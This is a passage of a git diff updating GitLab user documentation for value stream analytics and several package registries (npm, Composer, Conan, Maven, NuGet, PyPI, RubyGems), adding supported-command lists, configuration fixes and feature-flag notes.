index 00000000000..5dd79d06463
--- /dev/null
+++ b/doc/user/group/value_stream_analytics/img/vsa_path_nav_v13_11.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md
index 52cf51d85a4..6a512d78696 100644
--- a/doc/user/group/value_stream_analytics/index.md
+++ b/doc/user/group/value_stream_analytics/index.md
@@ -76,20 +76,15 @@ GitLab provides the ability to filter analytics based on a date range. To filter
The "Time" metrics near the top of the page are measured as follows:
- **Lead time**: median time from issue created to issue closed.
-- **Cycle time**: median time from first commit to issue closed.
-
-A commit is associated with an issue by [crosslinking](../../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit.
+- **Cycle time**: median time from first commit to issue closed. (You can associate a commit with an issue by [crosslinking in the commit message](../../project/issues/crosslinking_issues.md#from-commit-messages).)
![Value stream analytics time metrics](img/vsa_time_metrics_v13_0.png "Time metrics for value stream analytics")
## How the stages are measured
-Value Stream Analytics records stage time and data based on the project issues with the
-exception of the staging stage, where only data deployed to
-production are measured.
-
-Specifically, if your CI is not set up and you have not defined a [production environment](#how-the-production-environment-is-identified), then you will not have any
-data for this stage.
+Value Stream Analytics measures each stage from its start event to its stop event.
+For example, a stage might start when one label is added to an issue, and end when another label is added.
+Value Stream Analytics excludes work in progress, meaning it ignores any items that have not reached the stop event.
Each stage of Value Stream Analytics is further described in the table below.
@@ -193,17 +188,37 @@ GitLab allows users to create multiple value streams, hide default stages and cr
### Stage path
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0.
+> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md). **(FREE SELF)**
+
+![Value stream path navigation](img/vsa_path_nav_v13_11.png "Value stream path navigation")
-Stages are visually depicted as a horizontal process flow. Selecting a stage will update the
-the content below the value stream.
+Stages are visually depicted as a horizontal process flow. Selecting a stage updates the content
+below the value stream.
-This is disabled by default. If you have a self-managed instance, an
+The stage time is displayed next to the name of each stage, in the following format:
+
+| Symbol | Description |
+|--------|-------------|
+| `m` | Minutes |
+| `h` | Hours |
+| `d` | Days |
+| `w` | Weeks |
+| `M` | Months |
+
+Hovering over a stage item displays a popover with the following information:
+
+- Start event description for the given stage
+- End event description
+
+Horizontal path navigation is enabled by default. If you have a self-managed instance, an
administrator can [open a Rails console](../../../administration/troubleshooting/navigating_gitlab_via_rails_console.md)
-and enable it with the following command:
+and disable it with the following command:
```ruby
-Feature.enable(:value_stream_analytics_path_navigation)
+Feature.disable(:value_stream_analytics_path_navigation)
```
### Adding a stage
@@ -299,17 +314,16 @@ To create a value stream:
1. Navigate to your group's **Analytics > Value Stream**.
1. Click the Value stream dropdown and select **Create new Value Stream**
1. Fill in a name for the new Value Stream
- - You can [customize the stages](#creating-a-value-stream-with-stages) as the `value_stream_analytics_extended_form` feature flag is enabled.
+ - You can [customize the stages](#creating-a-value-stream-with-stages)
1. Click the **Create Value Stream** button.
![New value stream](img/new_value_stream_v13_3.png "Creating a new value stream")
#### Creating a value stream with stages
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55572) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md). **(FREE SELF)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50229) in GitLab 13.7.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55572) in GitLab 13.10.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294190) in GitLab 13.11.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -331,27 +345,6 @@ To create a value stream with stages:
![Extended create value stream form](img/extended_value_stream_form_v13_10.png "Extended create value stream form")
-#### Enable or disable value stream with stages
-
-Value streams with stages is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-# For the instance
-Feature.enable(:value_stream_analytics_extended_form)
-```
-
-To disable it:
-
-```ruby
-# For the instance
-Feature.disable(:value_stream_analytics_extended_form)
-```
-
### Deleting a value stream
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4.
diff --git a/doc/user/img/new_project_snippet_from_project_v12_10.png b/doc/user/img/new_project_snippet_from_project_v12_10.png
deleted file mode 100644
index 7fa17beaae6..00000000000
--- a/doc/user/img/new_project_snippet_from_project_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/img/snippet_intro_v13_11.png b/doc/user/img/snippet_intro_v13_11.png
new file mode 100644
index 00000000000..aa2ad5fd43a
--- /dev/null
+++ b/doc/user/img/snippet_intro_v13_11.png
Binary files differ
diff --git a/doc/user/img/snippet_tooltip_v13_10.png b/doc/user/img/snippet_tooltip_v13_10.png
new file mode 100644
index 00000000000..fd5961c2b08
--- /dev/null
+++ b/doc/user/img/snippet_tooltip_v13_10.png
Binary files differ
diff --git a/doc/user/index.md b/doc/user/index.md
index 7541e3e85f9..872dbd09c7d 100644
--- a/doc/user/index.md
+++ b/doc/user/index.md
@@ -42,7 +42,7 @@ GitLab is a Git-based platform that integrates a great number of essential tools
- Hosting code in repositories with version control.
- Tracking proposals for new implementations, bug reports, and feedback with a
- fully featured [Issue Tracker](project/issues/index.md#issues-list).
+ fully featured [Issue tracker](project/issues/index.md).
- Organizing and prioritizing with [Issue Boards](project/issue_board.md).
- Reviewing code in [Merge Requests](project/merge_requests/index.md) with live-preview changes per
branch with [Review Apps](../ci/review_apps/index.md).
@@ -59,7 +59,7 @@ With GitLab Enterprise Edition, you can also:
- [Merge Request Approvals](project/merge_requests/merge_request_approvals.md).
- [Multiple Assignees for Issues](project/issues/multiple_assignees_for_issues.md).
- [Multiple Issue Boards](project/issue_board.md#multiple-issue-boards).
-- Create formal relationships between issues with [Related Issues](project/issues/related_issues.md).
+- Create formal relationships between issues with [linked issues](project/issues/related_issues.md).
- Use [Burndown Charts](project/milestones/burndown_and_burnup_charts.md) to track progress during a sprint or while working on a new version of their software.
- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_search.md) for faster, more advanced code search across your entire GitLab instance.
- [Authenticate users with Kerberos](../integration/kerberos.md).
@@ -70,7 +70,7 @@ With GitLab Enterprise Edition, you can also:
- Leverage continuous delivery method with [Canary Deployments](project/canary_deployments.md).
- Scan your code for vulnerabilities and [display them in merge requests](application_security/sast/index.md).
-You can also [integrate](project/integrations/overview.md) GitLab with numerous third-party applications, such as Mattermost, Microsoft Teams, HipChat, Trello, Slack, Bamboo CI, Jira, and a lot more.
+You can also [integrate](project/integrations/overview.md) GitLab with numerous third-party applications, such as Mattermost, Microsoft Teams, Trello, Slack, Bamboo CI, Jira, and a lot more.
## User types
diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md
index 927552b90be..6f8b1d8d569 100644
--- a/doc/user/infrastructure/mr_integration.md
+++ b/doc/user/infrastructure/mr_integration.md
@@ -10,7 +10,7 @@ Collaborating around Infrastructure as Code (IaC) changes requires both code cha
## Output Terraform Plan information into a merge request
-Using the [GitLab Terraform Report artifact](../../ci/pipelines/job_artifacts.md#artifactsreportsterraform),
+Using the [GitLab Terraform Report artifact](../../ci/yaml/README.md#artifactsreportsterraform),
you can expose details from `terraform plan` runs directly into a merge request widget,
enabling you to see statistics about the resources that Terraform creates,
modifies, or destroys.
@@ -57,7 +57,7 @@ To manually configure a GitLab Terraform Report artifact requires the following
1. Define a `script` that runs `terraform plan` and `terraform show`. These commands
pipe the output and convert the relevant bits into a store variable `PLAN_JSON`.
This JSON is used to create a
- [GitLab Terraform Report artifact](../../ci/pipelines/job_artifacts.md#artifactsreportsterraform).
+ [GitLab Terraform Report artifact](../../ci/yaml/README.md#artifactsreportsterraform).
The Terraform report obtains a Terraform `tfplan.json` file. The collected
Terraform plan report is uploaded to GitLab as an artifact, and is shown in merge requests.
diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md
index f935fa87d68..bc1e59e4ac2 100644
--- a/doc/user/packages/composer_repository/index.md
+++ b/doc/user/packages/composer_repository/index.md
@@ -8,12 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15886) in GitLab Premium 13.2.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3.
+> - Support for Composer 2.0 [added](https://gitlab.com/gitlab-org/gitlab/-/issues/259840) in GitLab Free 13.10.
Publish [Composer](https://getcomposer.org/) packages in your project's Package Registry.
Then, install the packages whenever you need to use them as a dependency.
-Only Composer 1.x is supported. Consider contributing or even adding support for
-[Composer 2.0 in the Package Registry](https://gitlab.com/gitlab-org/gitlab/-/issues/259840).
+For documentation of the specific API endpoints that the Composer
+client uses, see the [Composer API documentation](../../../api/packages/composer.md).
## Create a Composer package
@@ -268,10 +269,36 @@ To install a package:
Without the `gitlab-domains` definition in `composer.json`, Composer uses the GitLab token
as basic-auth, with the token as a username and a blank password. This results in a 401 error.
-Output indicates that the package has been successfully installed.
+1. With the `composer.json` and `auth.json` files configured, you can install the package by running:
+
+ ```shell
+ composer update
+ ```
+
+ Or to install the single package:
+
+ ```shell
+ composer req <package-name>:<package-version>
+ ```
+
+ If successful, you should see output indicating that the package installed successfully.
+
+ You can also install from source (by pulling the Git repository directly) using the
+ `--prefer-source` option:
+
+ ```shell
+ composer update --prefer-source
+ ```
WARNING:
Never commit the `auth.json` file to your repository. To install packages from a CI/CD job,
consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages.md#satis) tool with your personal access token
stored in a [GitLab CI/CD variable](../../../ci/variables/README.md) or in
[HashiCorp Vault](../../../ci/secrets/index.md).
+
+## Supported CLI commands
+
+The GitLab Composer repository supports the following Composer CLI commands:
+
+- `composer install`: Install Composer dependencies.
+- `composer update`: Install the latest version of Composer dependencies.
diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md
index 3b8be68cff6..9df4aeb404a 100644
--- a/doc/user/packages/conan_repository/index.md
+++ b/doc/user/packages/conan_repository/index.md
@@ -18,6 +18,9 @@ remote and authenticate with it.
Then you can run `conan` commands and publish your package to the
Package Registry.
+For documentation of the specific API endpoints that the Conan package manager
+client uses, see the [Conan API documentation](../../../api/packages/conan.md).
+
## Build a Conan package
This section explains how to install Conan and build a package for your C/C++
@@ -125,7 +128,7 @@ To add the remote:
For example:
```shell
- conan search Hello* --all --remote=gitlab
+ conan search Hello* --remote=gitlab
```
### Add a remote for your instance
@@ -402,16 +405,3 @@ The GitLab Conan repository supports the following Conan CLI commands:
packages you have permission to view.
- `conan info`: View the information on a given package from the Package Registry.
- `conan remove`: Delete the package from the Package Registry.
-
-## Troubleshooting Conan packages
-
-### `ERROR: <package> was not found in remote <remote>`
-
-When you attempt to install a Conan package, you might receive a `404` error
-like `ERROR: <package> was not found in remote <remote>`.
-
-This issue occurs when you request a download from the project-level Conan API.
-The resulting URL is missing is project's `/<id>` and Conan commands, like
-`conan install`, fail.
-
-For more information, see [issue 270129](https://gitlab.com/gitlab-org/gitlab/-/issues/270129).
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index 18c4edd61c7..bc96d3c937c 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -4,7 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Container Registry
+# GitLab Container Registry **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4040) in GitLab 8.8.
> - Docker Registry manifest `v1` support was added in GitLab 8.9 to support Docker
@@ -35,7 +35,8 @@ You can view the Container Registry for a project or group.
1. Go to your project or group.
1. Go to **Packages & Registries > Container Registry**.
-You can search, sort, filter, and [delete](#delete-images-from-within-gitlab) containers on this page.
+You can search, sort, filter, and [delete](#delete-images-from-within-gitlab)
+containers on this page. You can share a filtered view by copying the URL from your browser.
Only members of the project or group can access a private project's Container Registry.
@@ -499,11 +500,11 @@ The cleanup policy:
1. Collects all tags for a given repository in a list.
1. Excludes the tag named `latest` from the list.
1. Evaluates the `name_regex` (tags to expire), excluding non-matching names from the list.
+1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve).
1. Excludes any tags that do not have a manifest (not part of the options in the UI).
1. Orders the remaining tags by `created_date`.
1. Excludes from the list the N tags based on the `keep_n` value (Number of tags to retain).
1. Excludes from the list the tags more recent than the `older_than` value (Expiration interval).
-1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve).
1. Finally, the remaining tags in the list are deleted from the Container Registry.
WARNING:
@@ -635,6 +636,14 @@ Examples:
curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' "https://gitlab.example.com/api/v4/projects/2"
```
+Valid values for `cadence` when using the API are:
+
+- `1d` (every day)
+- `7d` (every week)
+- `14d` (every two weeks)
+- `1month` (every month)
+- `3month` (every quarter)
+
See the API documentation for further details: [Edit project](../../../api/projects.md#edit-project).
### Use with external container registries
@@ -670,8 +679,8 @@ and stored by Docker, it is not possible for GitLab to parse this data and meet
## Limitations
- Moving or renaming existing Container Registry repositories is not supported
-once you have pushed images, because the images are signed, and the
-signature includes the repository name. To move or rename a repository with a
+once you have pushed images, because the images are stored in a path that matches
+the repository path. To move or rename a repository with a
Container Registry, you must delete all existing images.
- Prior to GitLab 12.10, any tags that use the same image ID as the `latest` tag
are not deleted by the cleanup policy.
diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md
index ad2d2ac2a8e..3dd900d2cbe 100644
--- a/doc/user/packages/dependency_proxy/index.md
+++ b/doc/user/packages/dependency_proxy/index.md
@@ -68,6 +68,11 @@ The requirement to authenticate is a breaking change added in 13.7. An [administ
disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication) if it
has disrupted your existing Dependency Proxy usage.
+WARNING:
+If [SSO enforcement](../../group/saml_sso/index.md#sso-enforcement)
+is enabled for your Group, requests to the dependency proxy will fail. This bug is being tracked in
+[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/294018).
+
Because the Dependency Proxy is storing Docker images in a space associated with your group,
you must authenticate against the Dependency Proxy.
diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md
index b9186e99357..57d6245dd96 100644
--- a/doc/user/packages/generic_packages/index.md
+++ b/doc/user/packages/generic_packages/index.md
@@ -16,18 +16,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
-Publish generic files, like release binaries, in your project’s Package Registry. Then, install the packages whenever you need to use them as a dependency.
+Publish generic files, like release binaries, in your project's Package Registry. Then, install the packages whenever you need to use them as a dependency.
## Authenticate to the Package Registry
To authenticate to the Package Registry, you need either a [personal access token](../../../api/README.md#personalproject-access-tokens),
-[CI job token](../../../api/README.md#gitlab-ci-job-token), or [deploy token](../../project/deploy_tokens/index.md).
+[CI/CD job token](../../../api/README.md#gitlab-cicd-job-token), or [deploy token](../../project/deploy_tokens/index.md).
In addition to the standard API authentication mechanisms, the generic package
API allows authentication with HTTP Basic authentication for use with tools that
do not support the other available mechanisms. The `user-id` is not checked and
may be any value, and the `password` must be either a [personal access token](../../../api/README.md#personalproject-access-tokens),
-a [CI job token](../../../api/README.md#gitlab-ci-job-token), or a [deploy token](../../project/deploy_tokens/index.md).
+a [CI/CD job token](../../../api/README.md#gitlab-cicd-job-token), or a [deploy token](../../project/deploy_tokens/index.md).
## Publish a package file
@@ -47,7 +47,7 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name?sta
| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). |
| `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`).
-| `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expression.
+| `package_version` | string | yes | The package version. The following regex validates this: `\A(\.?[\w\+-]+\.?)+\z`. You can test your version strings on [Rubular](https://rubular.com/r/aNCV0wG5K14uq8).
| `file_name` | string | yes | The filename. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`).
| `status` | string | no | The package status. It can be `default` (default) or `hidden`. Hidden packages do not appear in the UI or [package API list endpoints](../../../api/packages.md).
diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md
index 1fdc34e820e..36348fcde18 100644
--- a/doc/user/packages/go_proxy/index.md
+++ b/doc/user/packages/go_proxy/index.md
@@ -16,6 +16,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
With the Go proxy for GitLab, every project in GitLab can be fetched with the
[Go proxy protocol](https://proxy.golang.org/).
+For documentation of the specific API endpoints that the Go Proxy uses, see the
+[Go Proxy API documentation](../../../api/packages/go_proxy.md).
+
## Enable the Go proxy
The Go proxy for GitLab is under development, and isn't ready for production use
diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md
index b35015d0b67..74072aa95e1 100644
--- a/doc/user/packages/index.md
+++ b/doc/user/packages/index.md
@@ -4,7 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Packages & Registries
+# Packages and Registries **(FREE)**
The GitLab [Package Registry](package_registry/index.md) acts as a private or public registry
for a variety of common package managers. You can publish and share
@@ -24,6 +24,7 @@ The Package Registry supports the following formats:
<tr><td><a href="https://docs.gitlab.com/ee/user/packages/nuget_repository/index.html">NuGet</a></td><td>12.8+</td></tr>
<tr><td><a href="https://docs.gitlab.com/ee/user/packages/pypi_repository/index.html">PyPI</a></td><td>12.10+</td></tr>
<tr><td><a href="https://docs.gitlab.com/ee/user/packages/generic_packages/index.html">Generic packages</a></td><td>13.5+</td></tr>
+<tr><td><a href="https://docs.gitlab.com/ee/user/packages/rubygems_registry/index.html">RubyGems</a></td><td>13.10+</td></tr>
</table>
</div>
</div>
@@ -49,7 +50,6 @@ guides you through the process.
| P2 | [#36895](https://gitlab.com/gitlab-org/gitlab/-/issues/36895) |
| Puppet | [#36897](https://gitlab.com/gitlab-org/gitlab/-/issues/36897) |
| RPM | [#5932](https://gitlab.com/gitlab-org/gitlab/-/issues/5932) |
-| RubyGems | [#803](https://gitlab.com/gitlab-org/gitlab/-/issues/803) |
| SBT | [#36898](https://gitlab.com/gitlab-org/gitlab/-/issues/36898) |
| Terraform | [Draft: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834) |
| Vagrant | [#36899](https://gitlab.com/gitlab-org/gitlab/-/issues/36899) |
diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md
index 828eec812fa..d4dc9f0ae78 100644
--- a/doc/user/packages/maven_repository/index.md
+++ b/doc/user/packages/maven_repository/index.md
@@ -9,9 +9,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5811) in GitLab Premium 11.3.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3.
-Publish [Maven](https://maven.apache.org) artifacts in your project’s Package Registry.
+Publish [Maven](https://maven.apache.org) artifacts in your project's Package Registry.
Then, install the packages whenever you need to use them as a dependency.
+For documentation of the specific API endpoints that the Maven package manager
+client uses, see the [Maven API documentation](../../../api/packages/maven.md).
+
## Build a Maven package
This section explains how to install Maven and build a package.
@@ -868,3 +871,11 @@ package:
- 'mvn help:system'
- 'mvn package'
```
+
+## Supported CLI commands
+
+The GitLab Maven repository supports the following Maven CLI commands:
+
+- `mvn deploy`: Publish your package to the Package Registry.
+- `mvn install`: Install packages specified in your Maven project.
+- `mvn dependency:get`: Install a specific package.
diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md
index f048440e383..b6312002184 100644
--- a/doc/user/packages/npm_registry/index.md
+++ b/doc/user/packages/npm_registry/index.md
@@ -124,7 +124,7 @@ npm config set @foo:registry https://gitlab.example.com/api/v4/projects/<your_pr
# Add the token for the scoped packages URL. Replace <your_project_id>
# with the project where your package is located.
-npm config set '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "<your_token>"
+npm config set -- '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "<your_token>"
```
- `<your_project_id>` is your project ID, found on the project's home page.
@@ -147,7 +147,7 @@ npm config set @foo:registry https://gitlab.example.com/api/v4/packages/npm/
# Add the token for the scoped packages URL. This will allow you to download
# `@foo/` packages from private projects.
-npm config set '//gitlab.example.com/api/v4/packages/npm/:_authToken' "<your_token>"
+npm config set -- '//gitlab.example.com/api/v4/packages/npm/:_authToken' "<your_token>"
```
- `<your_token>` is your personal access token or deploy token.
@@ -189,8 +189,8 @@ To use the [instance-level](#use-the-gitlab-endpoint-for-npm-packages) npm endpo
To avoid hard-coding the `authToken` value, you may use a variable in its place:
```shell
-npm config set '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "${NPM_TOKEN}"
-npm config set '//gitlab.example.com/api/v4/packages/npm/:_authToken' "${NPM_TOKEN}"
+npm config set -- '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "${NPM_TOKEN}"
+npm config set -- '//gitlab.example.com/api/v4/packages/npm/:_authToken' "${NPM_TOKEN}"
```
Then, you can run `npm publish` either locally or by using GitLab CI/CD.
@@ -251,9 +251,6 @@ Prerequisites:
- [Authenticate](#authenticate-to-the-package-registry) to the Package Registry.
- Set a [project-level npm endpoint](#use-the-gitlab-endpoint-for-npm-packages).
-- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention).
- It must match exactly, including the case. This is different than the
- npm naming convention, but it is required to work with the GitLab Package Registry.
To upload an npm package to your project, run this command:
@@ -263,6 +260,16 @@ npm publish
To view the package, go to your project's **Packages & Registries**.
+You can also define `"publishConfig"` for your project in `package.json`. For example:
+
+```json
+{
+"publishConfig": { "@foo:registry":" https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/" }
+}
+```
+
+This forces the package to publish only to the specified registry.
+
If you try to publish a package [with a name that already exists](#publishing-packages-with-the-same-name-or-version) within
a given scope, you get a `403 Forbidden!` error.
@@ -402,6 +409,9 @@ Due to a bug in npm 6.9.0, deleting distribution tags fails. Make sure your npm
## Troubleshooting
+When troubleshooting npm issues, first run the same command with the `--verbose` flag to confirm
+what registry you are hitting.
+
### Error running Yarn with the Package Registry for npm registry
If you are using [Yarn](https://classic.yarnpkg.com/en/) with the npm registry, you may get
@@ -469,8 +479,9 @@ NPM_TOKEN=<your_token> npm install
If you get this error, ensure that:
- Your token is not expired and has appropriate permissions.
-- [Your token does not begin with `-`](https://gitlab.com/gitlab-org/gitlab/-/issues/235473).
- A package with the same name or version doesn't already exist within the given scope.
+- Your NPM package name does not contain a dot `.`. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-ee/issues/10248)
+ in GitLab 11.9 and earlier.
- The scoped packages URL includes a trailing slash:
- Correct: `//gitlab.example.com/api/v4/packages/npm/`
- Incorrect: `//gitlab.example.com/api/v4/packages/npm`
@@ -504,4 +515,19 @@ This is usually a permissions issue with either:
- The remote bucket if [object storage](../../../administration/packages/#using-object-storage)
is used.
-In the latter case, ensure the bucket exists and the GitLab has write access to it.
+In the latter case, ensure the bucket exists and GitLab has write access to it.
+
+## Supported CLI commands
+
+The GitLab npm repository supports the following commands for the npm CLI (`npm`) and yarn CLI
+(`yarn`):
+
+- `npm install`: Install npm packages.
+- `npm publish`: Publish an npm package to the registry.
+- `npm dist-tag add`: Add a dist-tag to an npm package.
+- `npm dist-tag ls`: List dist-tags for a package.
+- `npm dist-tag rm`: Delete a dist-tag.
+- `npm ci`: Install npm packages directly from your `package-lock.json` file.
+- `npm view`: Show package metadata.
+- `yarn add`: Install an npm package.
+- `yarn update`: Update your dependencies.
diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md
index e1b61f28818..7e59b19076a 100644
--- a/doc/user/packages/nuget_repository/index.md
+++ b/doc/user/packages/nuget_repository/index.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20050) in GitLab Premium 12.8.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3.
-Publish NuGet packages in your project’s Package Registry. Then, install the
+Publish NuGet packages in your project's Package Registry. Then, install the
packages whenever you need to use them as a dependency.
The Package Registry works with:
@@ -18,6 +18,9 @@ The Package Registry works with:
- [.NET Core CLI](https://docs.microsoft.com/en-us/dotnet/core/tools/)
- [Visual Studio](https://visualstudio.microsoft.com/vs/)
+For documentation of the specific API endpoints that these
+clients use, see the [NuGet API documentation](../../../api/packages/nuget.md).
+
## Install NuGet
The required minimum versions are:
@@ -314,7 +317,7 @@ dotnet nuget push MyPackage.1.0.0.nupkg --source gitlab
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36424) in GitLab 13.3.
-If you’re using NuGet with GitLab CI/CD, a CI job token can be used instead of a
+If you're using NuGet with GitLab CI/CD, a CI job token can be used instead of a
personal access token or deploy token. The token inherits the permissions of the
user that generates the pipeline.
@@ -390,3 +393,13 @@ dotnet add package <package_id> \
- `<package_id>` is the package ID.
- `<package_version>` is the package version. Optional.
+
+## Supported CLI commands
+
+The GitLab NuGet repository supports the following commands for the NuGet CLI (`nuget`) and the .NET
+CLI (`dotnet`):
+
+- `nuget push`: Upload a package to the registry.
+- `dotnet nuget push`: Upload a package to the registry.
+- `nuget install`: Install a package from the registry.
+- `dotnet add`: Install a package from the registry.
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index 0e83843f3e8..f04f6f1316e 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -19,7 +19,8 @@ You can view packages for your project or group.
1. Go to the project or group.
1. Go to **Packages & Registries > Package Registry**.
-You can search, sort, and filter packages on this page.
+You can search, sort, and filter packages on this page. You can share your search results by copying
+and pasting the URL from your browser.
You can also find helpful code snippets for configuring your package manager or installing a given package.
diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md
index a6cc5cf1f07..17b51e313fa 100644
--- a/doc/user/packages/pypi_repository/index.md
+++ b/doc/user/packages/pypi_repository/index.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208747) in GitLab Premium 12.10.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3.
-Publish PyPI packages in your project’s Package Registry. Then install the
+Publish PyPI packages in your project's Package Registry. Then install the
packages whenever you need to use them as a dependency.
The Package Registry works with:
@@ -17,6 +17,9 @@ The Package Registry works with:
- [pip](https://pypi.org/project/pip/)
- [twine](https://pypi.org/project/twine/)
+For documentation of the specific API endpoints that the `pip` and `twine`
+clients use, see the [PyPI API documentation](../../../api/packages/pypi.md).
+
## Build a PyPI package
This section explains how to create a PyPI package.
@@ -356,3 +359,10 @@ characters are removed.
A `pip install` request for `my.package` looks for packages that match any of
the three characters, such as `my-package`, `my_package`, and `my....package`.
+
+## Supported CLI commands
+
+The GitLab PyPI repository supports the following CLI commands:
+
+- `twine upload`: Upload a package to the registry.
+- `pip install`: Install a PyPI package from the registry.
diff --git a/doc/user/packages/rubygems_registry/index.md b/doc/user/packages/rubygems_registry/index.md
new file mode 100644
index 00000000000..aa50bc6c2bc
--- /dev/null
+++ b/doc/user/packages/rubygems_registry/index.md
@@ -0,0 +1,137 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Ruby gems in the Package Registry **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/803) in [GitLab Free](https://about.gitlab.com/pricing/) 13.10.
+
+WARNING:
+The Ruby gems registry for GitLab is under development and isn't ready for production use due to
+limited functionality.
+
+You can publish Ruby gems in your project's Package Registry, then install the packages when you
+need to use them as a dependency. Although you can push gems to the registry, you cannot install
+them from the registry. However, you can download `gem` files directly from the Package Registry's
+UI, or by using the [API](../../../api/packages/rubygems.md#download-a-gem-file).
+
+For documentation of the specific API endpoints that the Ruby gems and Bundler package manager
+clients use, see the [Ruby gems API documentation](../../../api/packages/rubygems.md).
+
+## Enable the Ruby gems registry
+
+The Ruby gems registry for GitLab is behind a feature flag that is disabled by default. GitLab
